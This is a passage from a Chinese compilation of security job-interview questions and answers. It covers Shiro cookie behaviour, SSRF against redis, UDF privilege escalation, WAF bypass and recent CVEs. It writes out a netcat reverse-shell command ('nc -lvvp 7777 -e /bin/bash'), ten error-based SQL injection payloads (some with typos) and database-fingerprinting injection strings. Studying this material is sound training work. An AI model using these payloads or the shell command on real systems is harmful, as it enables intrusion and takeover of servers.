  • 完整:未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包setCookie里也没有deleteMe字段登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段。

36.拿到webshell不出网情况下怎么办?

  • reg上传去正向连接。探测出网协议,如dns,icmp。

37.phpmyadmin写sehll的方法?

  • 常规导入shell的操作
  • 一句话导出shell
  • 日志备份获取shell

38.ssrf怎么用redis写shell?

  • SSRF服务端请求伪造:
    • 对内网扫描,获取banner
    • 攻击运行在内网的应用,主要是使用GET参数就可以实现的攻击(比如Struts2,sqli 等)。
    • 利用协议读取本地文件。
    • 云计算环境AWS Google Cloud 环境可以调用内网操作ECS 的 API。
  • webligic SSRF漏洞:通过SSRF的gopher协议操作内网的redis,利用redis将反弹shell写入crontab定时任务,url编码,将r字符串替换成%0d%0a。

39.SVN/GIT源代码泄露?

  • SVN原理:在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息:
  • SVN修复方式:查找服务器上所有 .svn 隐藏文件夹,删除。开发人员在使用 SVN 时,严格使用导出功能。禁止直接复制代码。
  • GIT原理:使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
  • GIT修复方式:查找服务器上所有 .git 隐藏文件夹,删除。中间件上设置 .git 目录访问权限,禁止访问。

40.提权你了解过吗?udf提取原理是什么

  • 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的libplugin文件夹下)
  • 从udf文件中引入自定义函数(user defined function)
  • 执行自定义函数
  • 完整:MySQL和PostgreSQL等数据库软件中允许用户自定义函数,并使用这些自定义函数进行查询。由于UDF函数可以动态加载,这就为攻击者提供了一种途径,即将恶意代码编写成UDF形式并上传到数据库,然后通过SQL注入等手段触发该函数,从而获得系统管理员权限。

41.反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?

  • nc -lvvp 7777 -e /bin/bash
  • bash是交互式,否则像useradd无法执行交互

42.如何手工判断对方操作系统?

  • 修改url中参数,改成大写,正常为windows,不正常即为linux
  • ping服务器,返还得TTL值不一样,windows一般在100以上,linux一般是100以下。
  • 查看数据包HTTP报头,如果是iis那就肯定是windows

43.DDos攻击

客户端向服务端发送请求链接数据包,服务端向客户端发送确认数据包,客户端不向服务端发送确认数据包,服务器一直等待来自客户端的确认

没有彻底根治的办法,除非不使用TCP

DDos预防:

(1)限制同时打开SYN半链接的数目

(2)缩短SYN半链接的Time out 时间

(3)关闭不必要的服务

44.找到一个注入点怎么判断对方什么数据库?

常见的数据库Oracle、MySQL、SQL Server、Access、MSsql、mongodb等 关系型数据库:由二维表及其之间的联系组成的一个数据组织。如:Oracle、DB2、MySql

  • 可以使用特定的函数来判断,该数据库特有的。
    • len()函数:mssql、mysql、db2
    • length()函数:Oracle、informix
    • substring:mssql
    • substr:oracle
    • version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。
  • 可以使用辅助的符号来判断,如注释符号、多语句查询符等等。
    • /*  mysql特有注释符,返回错误说明不是mysql
    • --  是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符
    • ;   是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
  • 可以利用错误信息
    • 错误信息中包含了"MySQL"和"server version"等关键词,这表明该目标系统可能是MySQL数据库。
    • 错误信息中包含了"quotation mark"等关键词,这表明该目标系统可能是MSSQL数据库。
    • 错误信息中包含了"Syntax error"等关键词,这表明该目标系统可能是ACCESS数据库
  • 是否存在数据库某些特性辅助判断
    • and exists (select count(*) from sysobjects) 返回正常是mssql
    • and exists (select count(*) from msysobjects) 两条,和上一条返回都不正常是ACCESS,如果是字符型,参数后加 ' 最后加 ;--

45.报错注入的函数有哪些?10个

(1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))

(2)通过floor报错 向下取整

(3)and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)

(4)select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));

(5)select from test where id=1 and multipoint((select from(select from(select user())a)b));

(6)select from test where id=1 and polygon((select from(select from(select user())a)b));

(7)select from test where id=1 and multipolygon((select from(select from(select user())a)b));

(8)select from test where id=1 and linestring((select from(select from(select user())a)b));

(9)select from test where id=1 and multilinestring((select from(select from(select user())a)b));

(10)select from test where id=1 and exp(~(select * from(select user())a));

46.为什么参数化查询可以防止sql注入?

使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行

简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑

47.SQL注入单引号被过滤怎么办?

  • 采用URL编码进行绕过  ' --> %27

48.SQL注入逗号被过滤了怎么办?

  • 存在联合注入用join代替逗号
  • 存在盲注,使用substring函数和ascii函数

49.Mysql一个@和两个@什么区别?

一个@是用户自定义变量 两个@是系统变量,如@@version、@@user

50.json格式的CSRF如何防御?

  • 启用CSRF令牌

{ "name": "John", "age": 30, "csrf_token": "random_string_here" }

  • 使用SameSite Cookie
    • Cookie: session_id=random_string_here; SameSite=Strict
    • 具体实现方式可以在每个JSON请求中添加一个带有SameSite属性的Cookie,如下所示。

51.过滤limit后的逗号如何绕过?

  • 采用OFFSET参数
    • SELECT * FROM tb_brand LIMIT 2 OFFSET 1 --> 从1开始取两条数据

web bypass waf问题

1.WAF绕过的手法你知道哪些?

这里从以sql注入为例,从三个层面简单总结一下手法。

1.从架构层面:找到服务器真实IP,同网段绕过,http和https同时开放服务绕过,边缘资产漏洞利用绕过。

2.从协议层面:分块延时传输,利用pipline绕过,利用协议未覆盖绕过,POST及GET提交绕过。

3.从规则层面:编码绕过,等价符号替换绕过,普通注释和内敛注释,缓冲区溢出,mysql黑魔法,白名单及静态资源绕过,文件格式绕过,参数污染。

2.文件上传绕过WAF思路?

参考文章:https://cloud.tencent.com/developer/beta/article/1944142

web 典型漏洞问题

1.讲诉一些近期及有代表性的漏洞

  • Microsoft Exchange .Net反序列化远程代码执行(CVE-2020-0688):该漏洞是由于Exchange控制面板(ECP)组件中使用了静态密钥validationKey和decryptionKey。
  • Apache Tomcat 文件包含漏洞(CVE-2020-1938):默认情况下,Tomcat会开启AJP连接器, Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的请求,可以读取或者包含Web根目录下的任意文件,配合文件上传,将导致任意代码执行(RCE)。
  • Weblogic IIOP反序列化漏洞(CVE-2020-2551):weblogic核心组件中IIOP协议,通过该协议对存在漏洞的WebLogic进行远程代码执行的攻击。Apache Solr远程代码执行(CVE-2019-12409):默认配置文件solr.in.sh,在其配置文件中ENABLE_REMOTE_JMX_OPTS字段默认配置不安全.如果使用默认配置,将启用JMX监视服务并将对公网监听18983的RMI端口,无需任何验证,配合JMXRMI远程代码执行。
  • SHIRO-550 反序列化漏洞:shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞。
  • SHIRO-721反序列化漏洞:不需要key,利用PaddingOracle Attack构造出RememberMe字段后段的值结合合法的RememberMe cookie即可完成攻击。
  • 泛微Ecology OA SQL注入漏洞:validate.jsp接口的SQL注入,/cpt/manage/validate.jsp。泛微ecology OA系统接口存在数据库配置信息泄露:/mobile/dbconfigreader.jsp,直接访问该页面将为DES加密以后的乱码,使用DES算法结合硬编码的key进行解密。
  • Confluence 本 地 文 件 泄 露 漏 洞 (CVE-2019-3394)catalina.jar中的org.apache.catalina.webresources.StandardRoot.class的getResource方法的validate存在过滤和限制,所以可遍历路径均在/WEB-INF下。
  • Apache Dubbo反序列化漏洞(CVE-2019-17564):当HTTP remoting 开启的时候,存在反序列化漏洞。


2.python有哪些框架,其中出现过哪些漏洞?

  • flask的模板注入 模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。模板字符串中字符串拼接或替换可能会导致敏感信息泄露,获取变量值 如果开发者在flask使用字符串格式化,来将用户输入动态地加入到模板字符串中,而不是通过render_template_string函数,该函数不会对输入进行实体转义将URL传递进入模板内容当中,会导致xss的产生。还可以利用模板中html标签属性字段绕过xss过滤。
  • Django出现过目录遍历漏洞

由于公众号内容篇幅有限,完整内容请移步github

github项目地址: 

https://github.com/goddemondemongod/Sec-Interview



原文始发于微信公众号(goddemon的小屋):面试题目整理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月10日09:45:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   面试题目整理https://cn-sec.com/archives/1721966.html

发表评论

匿名网友 填写信息